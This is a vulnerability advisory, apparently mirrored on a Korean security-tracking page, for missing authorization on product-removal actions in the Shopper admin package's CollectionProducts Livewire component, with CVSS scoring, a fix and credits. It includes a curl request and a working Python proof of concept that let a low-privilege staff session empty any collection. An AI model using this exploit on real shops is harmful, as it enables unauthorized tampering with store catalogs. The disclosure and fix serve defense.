Shopper: Missing authorization on product removal actions in CollectionProducts component
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H상세 설명
Title
Missing authorization on product removal actions in CollectionProducts component
Description
A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
1// Line 40 - client-mutable, no #[Locked] 2public Collection $collection; 3 4// Lines 73-88 - per-record delete action, no ->authorize(...) 5->recordActions([ 6 Action::make('delete') 7 ->label(__('shopper::forms.actions.delete')) 8 ->icon(Untitledui::Trash03) 9 ->iconButton()10 ->color('danger')11 ->requiresConfirmation()12 ->action(function (Product $record): void {13 $this->collection->products()->detach([$record->id]);14 $this->dispatch('collection.add.product');15 Notification::make()16 ->title(__('shopper::pages/collections.remove_product'))17 ->success()18 ->send();19 }),20])21 22// Lines 91-105 - bulk remove action, no ->authorize(...)23->groupedBulkActions([24 DeleteBulkAction::make()25 ->label(__('shopper::forms.actions.delete'))26 ->icon(Untitledui::Trash03)27 ->requiresConfirmation()28 ->action(function (EloquentCollection $records): void {29 $this->collection->products()->detach($records->pluck('id')->toArray());30 $this->dispatch('collection.add.product');31 Notification::make()32 ->title(__('shopper::pages/collections.remove_product'))33 ->success()34 ->send();35 })36 ->deselectRecordsAfterCompletion(),37])Steps to reproduce
Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).
1SESSION="laravel_session=<your_session_value>" 2XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>" 3 4# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5). 5# Step 2: Call the bulk table action on the CollectionProducts component, 6# substituting collection ID 5 in the component state. 7 8curl -s -X POST http://localhost/shopper/livewire/update \ 9 -H "Content-Type: application/json" \10 -H "X-XSRF-TOKEN: $XSRF" \11 -H "Cookie: $SESSION" \12 -H "X-Livewire: 1" \13 -d '{14 "components": [{15 "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",16 "updates": {},17 "calls": [{18 "path": "",19 "method": "callBulkAction",20 "params": ["delete", [1, 2, 3, 4, 5]]21 }]22 }]23 }'24# Expected: HTTP 200, all listed product IDs detached from collection 5,25# regardless of the caller having only browse_collections.Proof of concept
1#!/usr/bin/env python3 2""" 3CollectionProducts authorization bypass PoC. 4 5Set these environment variables before running: 6 BASE_URL e.g. http://localhost 7 SESSION_COOKIE value of the laravel_session cookie 8 XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie 9 COMPONENT_ID Livewire component snapshot ID (from page source)10 COLLECTION_ID integer ID of the target collection11 PRODUCT_IDS comma-separated product IDs to detach (e.g. "1,2,3")12"""13 14import json15import os16import requests17 18base_url = os.environ['BASE_URL']19session = os.environ['SESSION_COOKIE']20xsrf = os.environ['XSRF_TOKEN']21component_id = os.environ['COMPONENT_ID']22collection_id = int(os.environ['COLLECTION_ID'])23product_ids = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]24 25headers = {26 'Content-Type': 'application/json',27 'Accept': 'text/html, application/xhtml+xml',28 'X-XSRF-TOKEN': xsrf,29 'Cookie': f'laravel_session={session}',30 'X-Livewire': '1',31}32 33snapshot = json.dumps({34 'id': component_id,35 'data': {'collection': collection_id},36 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',37})38 39payload = {40 'components': [{41 'snapshot': snapshot,42 'updates': {},43 'calls': [{44 'path': '',45 'method': 'callBulkAction',46 'params': ['delete', product_ids],47 }]48 }]49}50 51r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)52print(f'Status: {r.status_code}')53print(r.text[:500])Impact
A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.
Suggested fix
1// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php 2 3use Livewire\Attributes\Locked; 4 5#[Locked] // prevent client-side ID substitution 6public Collection $collection; 7 8// Per-record action: 9Action::make('delete')10 ->authorize('edit_collections') // add this11 ->action(function (Product $record): void {12 $this->collection->products()->detach([$record->id]);13 // ...14 }),15 16// Bulk action:17DeleteBulkAction::make()18 ->authorize('edit_collections') // add this19 ->action(function (EloquentCollection $records): void {20 $this->collection->products()->detach($records->pluck('id')->toArray());21 // ...22 })Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.